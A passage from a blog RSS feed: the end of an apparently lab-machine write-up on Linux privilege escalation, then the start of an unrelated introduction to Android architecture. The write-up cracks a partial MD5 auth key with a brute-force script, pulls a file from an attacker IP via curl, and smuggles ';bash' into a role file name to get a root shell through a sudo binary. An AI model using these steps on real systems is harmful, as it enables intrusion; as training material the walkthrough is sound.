SSH.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QaYwcZ_lSNan_t5Y_ZDK_Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nMAlONZauSyTS_bhkUPgVw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*vgqoRAVdUSQ6WZ4Xz7iFMw.png" /><figcaption>Even though it’s a Java enum meme, let’s roll with it here anyway!</figcaption></figure><h3>Privilege escalation process</h3><p>I use <a href="https://github.com/peass-ng/PEASS-ng/tree/master/linPEAS">LinPeas</a> to automate the machine enumeration process, enabling us to identify potential attack vectors for privilege escalation and gather additional information about the machine we’re on and the network it resides within.</p><p>The LinPeas results revealed several open ports. Take note of them for further investigation. We can consider port forwarding to scan or exploit these services later.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BEWJKahsVILCYUJp8W7uJQ.png" /></figure><p>Here is the active users we may use on authentication if we found any keys</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lE0yFNhSxR1u5m10P1t6OQ.png" /></figure><p>There’s a users database to examine, which I believe would be a good starting point.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BAnBMTsbDAPXNlXw1OLedw.png" /></figure><p>A SQLite 3 database</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ou9XcJ41yl1UK2E_N9yN8g.png" /></figure><p>There are two web applications running on this machine. We’ll examine the other later if the blueprints DB is useless.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oX8QiRM7VWkoq7fDSLFjAg.png" /></figure><p>Now, you can utilize sqlite3 to interact with this database file and extract its tables.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yrvBUnw64fP32kaeXMiQ0g.png" /></figure><p>We now have two hashes to crack, so we can use Hashcat or John to crack them.</p><pre>hashcat hash_file /usr/share/wordlists/rockyou.txt --force</pre><p>We were able to crack one of them</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NzjSngsC-C2lgf1nVprfoA.png" /></figure><p>We’re aware that there’s an FTP service running locally, but it’s not accessible for outbound connections. However, SSH is open for outbound connections, as we’ve already established a connection using it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YNXpRmaNuNh7fA1vNnxmKA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KiBiaHD7aua42I5Bag9V_Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uNqlmE0F-7FZhJGngb1QHg.png" /></figure><p>Transfer these files locally to check them</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YEh-CrjSZcZPrp0z-Za_DQ.png" /></figure><p>run-tests.sh</p><pre>#!/bin/bash<br># List playbooks<br>./runner1 list<br># Run playbooks [Need authentication]<br># ./runner run [playbook number] -a [auth code]<br>#./runner1 run 1 -a &quot;UHI75GHI****&quot;<br># Install roles [Need authentication]<br># ./runner install [role url] -a [auth code]<br>#./runner1 install http://role.host.tld/role.tar -a &quot;UHI75GHI****&quot;</pre><p>There are a Key to run this Binary but the last 4 char are missing</p><p>runner1.c</p><pre>#include &lt;stdio.h&gt;<br>#include &lt;stdlib.h&gt;<br>#include &lt;string.h&gt;<br>#include &lt;dirent.h&gt;<br>#include &lt;openssl/md5.h&gt;<br>#define INVENTORY_FILE &quot;/opt/playbooks/inventory.ini&quot;<br>#define PLAYBOOK_LOCATION &quot;/opt/playbooks/&quot;<br>#define ANSIBLE_PLAYBOOK_BIN &quot;/usr/bin/ansible-playbook&quot;<br>#define ANSIBLE_GALAXY_BIN &quot;/usr/bin/ansible-galaxy&quot;<br>#define AUTH_KEY_HASH &quot;0feda17076d793c2ef2870d7427ad4ed&quot;<br>int check_auth(const char* auth_key) {<br>    unsigned char digest[MD5_DIGEST_LENGTH];<br>    MD5((const unsigned char*)auth_key, strlen(auth_key), digest);<br>    char md5_str[33];<br>    for (int i = 0; i &lt; 16; i++) {<br>        sprintf(&amp;md5_str[i*2], &quot;%02x&quot;, (unsigned int)digest[i]);<br>    }<br>    if (strcmp(md5_str, AUTH_KEY_HASH) == 0) {<br>        return 1;<br>    } else {<br>        return 0;<br>    }<br>}<br>void listPlaybooks() {<br>    DIR *dir = opendir(PLAYBOOK_LOCATION);<br>    if (dir == NULL) {<br>        perror(&quot;Failed to open the playbook directory&quot;);<br>        return;<br>    }<br>    struct dirent *entry;<br>    int playbookNumber = 1;<br>    while ((entry = readdir(dir)) != NULL) {<br>        if (entry-&gt;d_type == DT_REG &amp;&amp; strstr(entry-&gt;d_name, &quot;.yml&quot;) != NULL) {<br>            printf(&quot;%d: %s\n&quot;, playbookNumber, entry-&gt;d_name);<br>            playbookNumber++;<br>        }<br>    }<br>    closedir(dir);<br>}<br>void runPlaybook(const char *playbookName) {<br>    char run_command[1024];<br>    snprintf(run_command, sizeof(run_command), &quot;%s -i %s %s%s&quot;, ANSIBLE_PLAYBOOK_BIN, INVENTORY_FILE, PLAYBOOK_LOCATION, playbookName);<br>    system(run_command);<br>}<br>void installRole(const char *roleURL) {<br>    char install_command[1024];<br>    snprintf(install_command, sizeof(install_command), &quot;%s install %s&quot;, ANSIBLE_GALAXY_BIN, roleURL);<br>    system(install_command);<br>}<br>int main(int argc, char *argv[]) {<br>    if (argc &lt; 2) {<br>        printf(&quot;Usage: %s [list|run playbook_number|install role_url] -a &lt;auth_key&gt;\n&quot;, argv[0]);<br>        return 1;<br>    }<br>    int auth_required = 0;<br>    char auth_key[128];<br>    for (int i = 2; i &lt; argc; i++) {<br>        if (strcmp(argv[i], &quot;-a&quot;) == 0) {<br>            if (i + 1 &lt; argc) {<br>                strncpy(auth_key, argv[i + 1], sizeof(auth_key));<br>                auth_required = 1;<br>                break;<br>            } else {<br>                printf(&quot;Error: -a option requires an auth key.\n&quot;);<br>                return 1;<br>            }<br>        }<br>    }<br>    if (!check_auth(auth_key)) {<br>        printf(&quot;Error: Authentication failed.\n&quot;);<br>        return 1;<br>    }<br>    if (strcmp(argv[1], &quot;list&quot;) == 0) {<br>        listPlaybooks();<br>    } else if (strcmp(argv[1], &quot;run&quot;) == 0) {<br>        int playbookNumber = atoi(argv[2]);<br>        if (playbookNumber &gt; 0) {<br>            DIR *dir = opendir(PLAYBOOK_LOCATION);<br>            if (dir == NULL) {<br>                perror(&quot;Failed to open the playbook directory&quot;);<br>                return 1;<br>            }<br>            struct dirent *entry;<br>            int currentPlaybookNumber = 1;<br>            char *playbookName = NULL;<br>            while ((entry = readdir(dir)) != NULL) {<br>                if (entry-&gt;d_type == DT_REG &amp;&amp; strstr(entry-&gt;d_name, &quot;.yml&quot;) != NULL) {<br>                    if (currentPlaybookNumber == playbookNumber) {<br>                        playbookName = entry-&gt;d_name;<br>                        break;<br>                    }<br>                    currentPlaybookNumber++;<br>                }<br>            }<br>            closedir(dir);<br>            if (playbookName != NULL) {<br>                runPlaybook(playbookName);<br>            } else {<br>                printf(&quot;Invalid playbook number.\n&quot;);<br>            }<br>        } else {<br>            printf(&quot;Invalid playbook number.\n&quot;);<br>        }<br>    } else if (strcmp(argv[1], &quot;install&quot;) == 0) {<br>        installRole(argv[2]);<br>    } else {<br>        printf(&quot;Usage2: %s [list|run playbook_number|install role_url] -a &lt;auth_key&gt;\n&quot;, argv[0]);<br>        return 1;<br>    }<br>    return 0;<br>}</pre><p>After reviewing this code, it appears that it authenticates by comparing the key to the stored md5 hash before granting access to run the application.</p><p>It’s found also that this file primarily executes commands related to ansible-playbook. This involves another component called Ansible, which is an open-source automation engine capable of executing processes such as configuration, configuration management, and application deployment automatically. The Ansible component contains various functions including Global Definitions, Authentication, Listing Playbooks, Running a Playbook, Installing a Role, and Main Program Logic.</p><h4>First part Guessing the whole key</h4><p>Here’s the missing value key: UHI75GHI****. The hash associated with it is 0feda17076d793c2ef2870d7427ad4ed.</p><p>We can create a script to attempt all possible combinations, although it may be time-consuming.</p><p>With a total of 62 characters (26 lowercase letters + 26 uppercase letters + 10 digits), there are 62⁴ combinations in total.</p><pre>import time<br>import itertools<br>import hashlib<br>import string<br><br>start_time = time.time()<br># Define the hash and characters to be brute forced <br>target_hash = &quot;0feda17076d793c2ef2870d7427ad4ed&quot;<br>access_code = &quot;UHI75GHI&quot;<br>character_set = string.ascii_letters + string.digits<br>key_length = 4<br># Function to check if the generated hash matches the target or not<br>def compare_hash(candidate_key_hash, target_key_hash):<br>    generated_hash = hashlib.md5(candidate_key_hash.encode()).hexdigest()<br>    return generated_hash == target_key_hash<br># Loop through combinations to find the matching key<br>for key_guess in itertools.product(character_set, repeat=key_length):<br>    potential_key = f&quot;{access_code}{&#39;&#39;.join(key_guess)}&quot;<br>    if compare_hash(potential_key, target_hash):<br>        end_time = time.time()<br>        elapsed_time = end_time - start_time<br>        print(potential_key)<br>        print(f&quot;Time consumed: {elapsed_time} seconds&quot;)<br>        break  <br>else:<br>    end_time = time.time()<br>    elapsed_time = end_time - start_time<br>    print(&quot;No matching key found.&quot;)<br>    print(f&quot;Time consumed: {elapsed_time} seconds&quot;)</pre><p>It seems the task wasn’t as time-consuming as initially anticipated.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/863/1*ijFnhB8zzBHyBA59AlpSOw.png" /></figure><h4>Second part</h4><p>This user lacks the privilege to execute this application, so we must explore alternative attack vectors. The challenge lies in navigating through the rabbit holes presented by this machine. After port forwarding to inspect the applications running on these open ports, I found no solid foothold to exploit.</p><p>After some time I found this</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/768/1*Y7ACZEO1OkcKIoVKrz7ykQ.png" /></figure><p>there is a directory called runner2 but only sys_adm group can access it, The idea is, this is the version 2 of the application we was exploiting before runner1 so it should be related somehow, after some search again I found logs directory for <strong>suricata</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CxGt2IorRDjCutjxL4SP1w.png" /></figure><blockquote><em>Suricata</em> is an open-source based intrusion detection system and intrusion prevention system.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Mog8smCCImmChdEyH7SUvA.png" /></figure><p>Initially, I was uncertain about what to search for. However, after some investigation, I discovered that Suricata logs and backups may contain usernames and, incidentally, passwords captured during the authentication process.</p><p>Using zgrep to search for active users within these files, zgrep can search within compressed files as well.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tdq5DAFbKLKrZmirzbv23g.png" /></figure><p>Use these credentials to SSH to lopez user</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/884/1*RjfjXKBwQieff-kpffAOmA.png" /></figure><p>lopez user is one of the sys-adm group so we can access the runner2 directory now.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/674/1*b5h6Q5qi7njxwXXAPb6wMQ.png" /></figure><p>To determine the components required in the JSON file to run the application, we need to reverse engineer the application to ascertain its true nature.</p><p>You can utilize Ghidra as a fast and free option, or IDA Pro. I don’t think reversing this application would be overly difficult, so I don’t think there are any anti-debugging or anti-assembly measures in place, nor is there likely to be obfuscation. Either option should suffice for our purposes.</p><h4>The main function</h4><pre>//main<br>undefined8 main(int param_1,undefined8 *param_2)<br>{<br>  int iVar1;<br>  FILE *__stream;<br>  long lVar2;<br>  int *piVar3;<br>  int *piVar4;<br>  char *pcVar5;<br>  undefined8 uVar6;<br>  DIR *__dirp;<br>  dirent *pdVar7;<br>  int local_80;<br>  char *local_78;<br>  <br>  if (param_1 != 2) {<br>    printf(&quot;Usage: %s &lt;json_file&gt;\n&quot;,*param_2);<br>    return 1;<br>  }<br>  __stream = fopen((char *)param_2[1],&quot;r&quot;);<br>  if (__stream == (FILE *)0x0) {<br>    perror(&quot;Failed to open the JSON file&quot;);<br>    return 1;<br>  }<br>  lVar2 = json_loadf(__stream,2,0);<br>  fclose(__stream);<br>  if (lVar2 == 0) {<br>    fwrite(&quot;Error parsing JSON data.\n&quot;,1,0x19,stderr);<br>    return 1;<br>  }<br>  piVar3 = (int *)json_object_get(lVar2,&amp;DAT_00102148);<br>  if ((piVar3 == (int *)0x0) || (*piVar3 != 0)) {<br>    fwrite(&quot;Run key missing or invalid.\n&quot;,1,0x1c,stderr);<br>  }<br>  else {<br>    piVar4 = (int *)json_object_get(piVar3,&quot;action&quot;);<br>    if ((piVar4 == (int *)0x0) || (*piVar4 != 2)) {<br>      fwrite(&quot;Action key missing or invalid.\n&quot;,1,0x1f,stderr);<br>    }<br>    else {<br>      pcVar5 = (char *)json_string_value(piVar4);<br>      iVar1 = strcmp(pcVar5,&quot;list&quot;);<br>      if (iVar1 == 0) {<br>        listPlaybooks();<br>      }<br>      else {<br>        iVar1 = strcmp(pcVar5,&quot;run&quot;);<br>        if (iVar1 == 0) {<br>          piVar3 = (int *)json_object_get(piVar3,&amp;DAT_00102158);<br>          piVar4 = (int *)json_object_get(lVar2,&quot;auth_code&quot;);<br>          if ((piVar4 != (int *)0x0) &amp;&amp; (*piVar4 == 2)) {<br>            uVar6 = json_string_value(piVar4);<br>            iVar1 = check_auth(uVar6);<br>            if (iVar1 != 0) {<br>              if ((piVar3 == (int *)0x0) || (*piVar3 != 3)) {<br>                fwrite(&quot;Invalid \&#39;num\&#39; value for \&#39;run\&#39; action.\n&quot;,1,0x26,stderr);<br>              }<br>              else {<br>                iVar1 = json_integer_value(piVar3);<br>                __dirp = opendir(&quot;/opt/playbooks/&quot;);<br>                if (__dirp == (DIR *)0x0) {<br>                  perror(&quot;Failed to open the playbook directory&quot;);<br>                  return 1;<br>                }<br>                local_80 = 1;<br>                local_78 = (char *)0x0;<br>                while (pdVar7 = readdir(__dirp), pdVar7 != (dirent *)0x0) {<br>                  if ((pdVar7-&gt;d_type == &#39;\b&#39;) &amp;&amp;<br>                     (pcVar5 = strstr(pdVar7-&gt;d_name,&quot;.yml&quot;), pcVar5 != (char *)0x0)) {<br>                    if (local_80 == iVar1) {<br>                      local_78 = pdVar7-&gt;d_name;<br>                      break;<br>                    }<br>                    local_80 = local_80 + 1;<br>                  }<br>                }<br>                closedir(__dirp);<br>                if (local_78 == (char *)0x0) {<br>                  fwrite(&quot;Invalid playbook number.\n&quot;,1,0x19,stderr);<br>                }<br>                else {<br>                  runPlaybook(local_78);<br>                }<br>              }<br>              goto LAB_00101db5;<br>            }<br>          }<br>          fwrite(&quot;Authentication key missing or invalid for \&#39;run\&#39; action.\n&quot;,1,0x38,stderr);<br>          json_decref(lVar2);<br>          return 1;<br>        }<br>        iVar1 = strcmp(pcVar5,&quot;install&quot;);<br>        if (iVar1 == 0) {<br>          piVar3 = (int *)json_object_get(piVar3,&quot;role_file&quot;);<br>          piVar4 = (int *)json_object_get(lVar2,&quot;auth_code&quot;);<br>          if ((piVar4 != (int *)0x0) &amp;&amp; (*piVar4 == 2)) {<br>            uVar6 = json_string_value(piVar4);<br>            iVar1 = check_auth(uVar6);<br>            if (iVar1 != 0) {<br>              if ((piVar3 == (int *)0x0) || (*piVar3 != 2)) {<br>                fwrite(&quot;Role File missing or invalid for \&#39;install\&#39; action.\n&quot;,1,0x33,stderr);<br>              }<br>              else {<br>                uVar6 = json_string_value(piVar3);<br>                installRole(uVar6);<br>              }<br>              goto LAB_00101db5;<br>            }<br>          }<br>          fwrite(&quot;Authentication key missing or invalid for \&#39;install\&#39; action.\n&quot;,1,0x3c,stderr) ;<br>          json_decref(lVar2);<br>          return 1;<br>        }<br>        fwrite(&quot;Invalid \&#39;action\&#39; value.\n&quot;,1,0x18,stderr);<br>      }<br>    }<br>  }<br>LAB_00101db5:<br>  json_decref(lVar2);<br>  return 0;<br>}</pre><ol><li>The <strong>main</strong> function takes two parameters: an integer <strong>param_1</strong> and an array of undefined size of type <strong>undefined8</strong>. It returns an integer.</li><li>The function first checks if the number of command-line arguments passed to the program is not equal to 2. If so, it prints a usage message and returns 1.</li><li>It then attempts to open a file specified by the second command-line argument (<strong>param_2[1]</strong>) in read mode. If the file cannot be opened, it prints an error message and returns 1.</li><li>Next, it attempts to parse the JSON data from the opened file using a function called <strong>json_loadf</strong>. If parsing fails, it prints an error message and returns 1.</li><li>The program then retrieves a key (<strong>&quot;run&quot;</strong>) from the parsed JSON data. If this key is missing or invalid, it prints an error message and returns 1.</li><li>If the key is valid, the program proceeds to check the value associated with the key <strong>&quot;action&quot;</strong>. If the action is <strong>&quot;list&quot;</strong>, it calls the function <strong>listPlaybooks()</strong>. If it&#39;s <strong>&quot;run&quot;</strong>, it further checks for an authentication code and proceeds to run a playbook based on the provided number. If it&#39;s <strong>&quot;install&quot;</strong>, it checks for a role file and installs the specified role.</li><li>After performing the necessary actions based on the JSON data, the program decrements the reference count of the JSON object and returns 0 if everything was successful.</li></ol><h4>installRole class</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Eb_kRdZ8R79x0NMjGY_LHQ.png" /></figure><ol><li>The function takes one parameter, <strong>param_1</strong>, which presumably is the path to the tar archive file containing the Ansible role.</li><li>It first checks if the provided file is a valid tar archive by calling the <strong>isTarArchive</strong> function. If it returns 0 (indicating that the file is not a valid tar archive), the function prints an error message stating &quot;Invalid tar archive&quot; to the standard error stream (<strong>stderr</strong>).</li><li>If the file is a valid tar archive, the function constructs a command string using <strong>snprintf</strong> to format the command. It combines the path to the <strong>ansible-galaxy</strong> executable (<strong>/usr/bin/ansible-galaxy</strong>) with the &quot;install&quot; action and the path to the tar archive file (<strong>param_1</strong>).</li><li>The constructed command string is then executed using the <strong>system</strong> function, which runs the command in the shell.</li></ol><h4>runPlaybook class</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZmZXtRuUgev5t2s8f6aj-A.png" /></figure><ol><li>It constructs a command string using <strong>snprintf</strong>. This command string combines the path to the <strong>ansible-playbook</strong> executable (<strong>/usr/bin/ansible-playbook</strong>), an inventory file (<strong>/opt/playbooks/inventory.ini</strong>), and the path to the playbook file (<strong>/opt/playbooks/</strong> concatenated with <strong>param_1</strong>).</li><li>The constructed command string is then executed using the <strong>system</strong> function, which runs the command in the shell.</li></ol><h3>After analysis</h3><p>This application processes a JSON file with two parameters: role_file and auth_code. It expects a top-level key run. If missing or invalid, it returns an error. Valid run keys trigger checks for associated action keys. If list, it lists playbooks; if run, it verifies an authentication code and executes a playbook; if install, it installs a specified role.</p><p>The auth_code parameter is obtained through brute-forcing earlier.</p><p>First trying the list role with the auth code But unfortunately invain.</p><pre>//list.json<br><br>{<br>  &quot;run&quot;: {<br>    &quot;action&quot;: &quot;list&quot;,<br>    &quot;auth_code&quot;: &quot;UHI75GHINKOP&quot;,<br>  }<br>}</pre><p>Second option is to try run role, after some research I found this on <a href="https://gtfobins.github.io/">GTFOBins</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1huUcpPJiKyS6IYrYY_CSw.png" /><figcaption><a href="https://gtfobins.github.io/gtfobins/ansible-playbook/">https://gtfobins.github.io/gtfobins/ansible-playbook/</a></figcaption></figure><pre>//run.json<br><br>{<br>  &quot;run&quot;: {<br>    &quot;action&quot;: &quot;run&quot;,<br>    &quot;auth_code&quot;: &quot;UHI75GHINKOP&quot;,<br>    &quot;tasks&quot;: [<br>      {<br>        &quot;shell&quot;: &quot;/bin/bash &lt;/dev/tty &gt;/dev/tty 2&gt;/dev/tty&quot;<br>      }<br>    ]<br>  }<br>}</pre><p>Once again, our efforts did not yield the desired outcome.</p><p>The third option involves attempting to install a role. To do so, we utilize an archive template file containing the Ansible role. By installing the role, we aim to escalate our privileges and advance further in the system.</p><p>Let’s start researching for instructions on installing an Ansible administrator role from a tar file and the appropriate template file to use.</p><p>After conducting research, I came across a project from Coopdevs Development that seems promising.</p><blockquote>Ansible role to create users for system administrators</blockquote><p><a href="https://github.com/coopdevs/sys-admins-role/releases">Releases · coopdevs/sys-admins-role</a></p><p>First, download the project to your local machine, and then proceed to upload it to the Lopez machine.</p><pre>// download it to your local machine <br>  wget <a href="https://github.com/coopdevs/sys-admins-role/archive/v0.0.3.tar.gz">https://github.com/coopdevs/sys-admins-role/archive/v0.0.3.tar.gz</a><br>// create a python server <br>  python3 -m http.server 8080<br>// download it in lopez machine <br>  curl <a href="http://10.10.16.35:8080/v0.0.3.tar.gz">http://10.10.16.35:8080/v0.0.3.tar.gz</a> -o sys-admins-role-0.0.3.tar.gz</pre><p>Rename the tar file to include “;bash” after the name, triggering the execution of a shell immediately after successfully installing the Ansible role, granting us a root access.</p><pre>mv sys-admins-role-0.0.3.tar.gz admin.tar.gz\;bash</pre><p>Now write the JSON file to install the role and run the app</p><pre>//root.json<br><br>{<br>  &quot;run&quot;: {<br>    &quot;action&quot;:&quot;install&quot;,<br>    &quot;role_file&quot;:&quot;admin.tar.gz;bash&quot;<br>  },<br>  &quot;auth_code&quot;:&quot;UHI75GHINKOP&quot;<br>}</pre><p>Execute the application, specifying the JSON file as input.</p><pre>sudo /opt/runner2/runner2 root.json</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YeDmnPV-GX9cWdjhDcIyow.png" /></figure><p>Finally, we have achieved root access. We can now obtain the root flag.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2d7a7f642dd4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Mobile Hacking Series: Android part 1]]></title>
            <link>https://b4l3rion.medium.com/mobile-hacking-series-android-part-1-9059d0503004?source=rss-5913a0fea0c1------2</link>
            <guid isPermaLink="false">https://medium.com/p/9059d0503004</guid>
            <category><![CDATA[android]]></category>
            <category><![CDATA[pentest]]></category>
            <category><![CDATA[android-pentesting]]></category>
            <category><![CDATA[art]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Zyad Elsayed]]></dc:creator>
            <pubDate>Wed, 24 Jul 2024 13:08:04 GMT</pubDate>
            <atom:updated>2024-07-24T13:08:04.553Z</atom:updated>
            <content:encoded><![CDATA[<h4>Introduction to Android OS</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*g2Toq48lZIJYMkSdA4gYxQ.gif" /></figure><h3>Table Of Content</h3><p>·⠀ <a href="#7184">About Android</a><br>·⠀ <a href="#237d">Android Architecture</a><br>⠀ ⠀ <a href="#eb1f">1.⠀Linux kernel</a><br> ⠀⠀ <a href="#202c">2.⠀Hardware abstraction layer “HAL”</a><br>⠀ ⠀ <a href="#4854">3.⠀Libraries: Native C/C++ Libraries</a><br>⠀ ⠀ <a href="#1356">4.⠀Android Runtime (ART) and Core Libraries</a><br>⠀ ⠀ ⠀∘⠀<a href="#5107">Zygote</a><br>⠀ ⠀<a href="#b68d">5.⠀Java API Framework</a><br>⠀ ⠀<a href="#d426">6.⠀System apps</a><br>· ⠀<a href="#8ebb">Dalvik vs Android Runtime</a><br>⠀ ⠀∘⠀<a href="#1c37">Just-In-Time (JIT)</a><br>⠀ ⠀∘⠀<a href="#4022">Ahead-Of-Time (AOT)</a><br>·⠀ <a href="#a24e">Android Security implementation and processes Isolation </a><br>·⠀ <a href="#b2ac">Application Data Storage</a><br>·⠀ <a href="#b163">About the build process for APK</a><br>⠀⠀ ∘⠀<a href="#748f">How JAVA code execution works normally?</a><br>⠀⠀ ∘⠀<a href="#fa25">How Android code execution works?</a><br>⠀⠀ ∘⠀ <a href="#4bda">_64K reference limit_</a><br>·⠀<a href="#61a7">App Structure</a><br>⠀⠀ ∘⠀<a href="#55c8">How to Find and Download APKs </a><br>⠀⠀ ∘⠀ <a href="#09d8">Android package (APK) file structure<br></a> ⠀ ⠀⠀ ⠀<a href="#b823">1.⠀ Manifest File </a><a href="#b823">AndroidManifest.xml</a><br> ⠀ ⠀⠀ ⠀<a href="#5d53">2. ⠀Java/Kotlin Bytecode </a><a href="#5d53">classes.dex</a><br> ⠀ ⠀⠀ ⠀<a href="#abd2">3. ⠀Native Libraries </a><a href="#abd2">lib/ directory </a><br> ⠀ ⠀⠀ ⠀<a href="#410d">4. ⠀Resources </a><a href="#410d">res/ and resources.arsc</a><br> ⠀ ⠀⠀⠀ <a href="#bfd9">5. ⠀Assets </a><a href="#bfd9">assets/</a><br> ⠀ ⠀⠀⠀ <a href="#af46">6. ⠀</a><a href="#af46">META-INF Directory</a><br>⠀ ⠀⠀ ⠀ <a href="#0a99">7. ⠀</a><a href="#0a99">com directory</a><br>·⠀<a href="#4953">Unzipping VS Decompiling</a> <br>⠀⠀ ∘⠀<a href="#3e5d">Methods to Decompile Applications</a><br>·⠀<a href="#18f1">Resources</a></p><h3>About Android</h3><p>Android is a mobile operating system based on a modified and customized version of the Linux kernel and other open-source software.</p><p>Android is the world’s most widely used mobile operating system, powering over 72.1% of smartphones globally. Its open-source nature allows manufacturers to customize and enhance the user experience, leading to diverse variations like Samsung’s One UI and Xiaomi’s MIUI.</p><p>With millions of apps available on the Google Play Store, Android’s primary app marketplace, users have access to a vast ecosystem of applications. The Google Play Store performs rigorous security checks on these applications to ensure they are safe for users.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*52SLQl1Pu_j6-_du1OQqtA.png" /></figure><p>Additionally, unlike iOS, Android permits the installation of apps from third-party sources, increasing flexibility and contributing to its widespread adoption but also posing security concerns as these sources are not always trusted.</p><p>Beyond smartphones, Android has evolved to power a wide range of smart devices, including smartwatches, TVs, cars, VR headsets, and IoT devices, showcasing its versatility and extensive reach in the tech world.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pqGsnPP8fe6auAauZDAeBA.gif" /></figure><h3>Android Architecture</h3><p>Android architecture consists of several layers that support the functioning and development of Android applications.</p><p>Among all the components, the Linux Kernel provides the main functionality of operating system functions to smartphones. Android Runtime (ART) provides a platform for running Android applications</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YuLz7xUKwLKFTLLsjM9CVg.png" /></figure><h4><strong>1.⠀Linux kernel</strong></h4><p>The foundational layer that acts as an abstraction layer between the hardware and the rest of the software stack. It manages and controls hardware components like the microphone, Bluetooth, camera, Wi-Fi, audio, and more via drivers.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/650/1*MHXGrsG050aSCSqFIp1jMw.jpeg" /></figure><p>This layer provides core services such as security, memory management, process management, and networking. It supports multiple CPU architectures, such as ARM, x86, and MIPS, and both 32-bit and 64-bit architectures.</p><p>During the development process, applications are configured to run on a specific version of the Android Runtime/API. This configuration is specified in the AndroidManifest.xml file using the minSdkVersion attribute.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/895/1*iiwNicv4j8T4sORv74t9Bw.png" /></figure><p><strong>Android APIs</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KojYwBivy6rILYvQ_miLUA.png" /></figure><p>The API specifications change with every new Android release, such as Android 10 or 11. Each new version/API offers critical bug fixes, security patches, and new features.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/955/1*C6mAcBGQ7F56W3idsp6zzg.png" /><figcaption><a href="https://www.composables.com/tools/distribution-chart">This view shows the percentage of devices running each specific version of Android.</a></figcaption></figure><p>Lower SDK/Android versions are more susceptible to security issues and vulnerabilities, making them prone to a variety of old attacks.</p><p>The higher, the better, But developers want to include the most customers possible!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/861/1*H4zXUqeLZqQ0STSpQl6pFA.png" /><figcaption>shows the cumulative percentage of devices running each version of Android.</figcaption></figure><p>To know more about each API version</p><p><a href="https://apilevels.com/">Android API Levels</a></p><h4>2.⠀Hardware abstraction layer “HAL”</h4><p>It allows applications to access hardware components irrespective of the device manufacturer or type and independent of the programming language being used. It acts as an interface between applications and the hardware.</p><p>HAL Unifying access by allowing applications to access hardware components such as the camera, microphone, GPS, Bluetooth, and touch drivers without needing specific built-in drivers or manufacturer details.</p><p><strong>New/Upcoming HAL Types</strong>:</p><ul><li><strong>Automotive</strong>: Android Auto, Apple CarPlay</li><li><strong>IoT</strong>:<br>⠀↬⠀Fitness Watches &amp; Devices<br>⠀↬⠀Smart Home Devices (Alexa, Google Home)</li><li><strong>Gaming Peripherals</strong></li><li><strong>VR</strong></li></ul><h4>3.⠀Libraries: Native C/C++ Libraries</h4><p>provides functionalities for performance-intensive tasks, essential for handling complex operations efficiently. These libraries are written in C or C++ and are used by both the Android operating system and applications to leverage hardware capabilities directly without requiring a VM.</p><p><strong>Libraries:</strong><br>⠀↬⠀<strong>Surface Manager:</strong> Manages display and compositing.<br>⠀↬⠀<strong>Media Framework:</strong> Provides support for audio and video playback ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀and recording.<br>⠀↬⠀<strong>SQLite:</strong> A relational database for storing application data.<br>⠀↬⠀<strong>WebKit:</strong> Browser engine for rendering web content.<br>⠀↬⠀<strong>OpenGL|ES:</strong> API for 2D and 3D graphics.<br>⠀↬⠀<strong>Libc:</strong> Standard C library for Android.<br>⠀⠀⠀⠀➛⠀<strong>WebKit:</strong> Built-in web browser for the app (iFrame).<br>⠀⠀⠀⠀➛⠀<strong>OpenMAX AL, OpenGL ES:</strong> UI frameworks for 2D/3D models.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/650/1*3ayGfbjAt36BczTq4Vl0Ww.jpeg" /></figure><p>These libraries facilitate the creation of Android applications, including components like Graphics, Libc, SSL, SQLite, Media, WebKit, OpenGL, Surface Manager, etc.</p><h4>4.⠀Android Runtime (ART) and Core Libraries</h4><p>They are facilitating the execution of apps and some system services. Initially, Android used the Dalvik Virtual Machine (DVM) to run applications, but it has since transitioned to ART, which offers significant enhancements. <br>ART introduces ahead-of-time 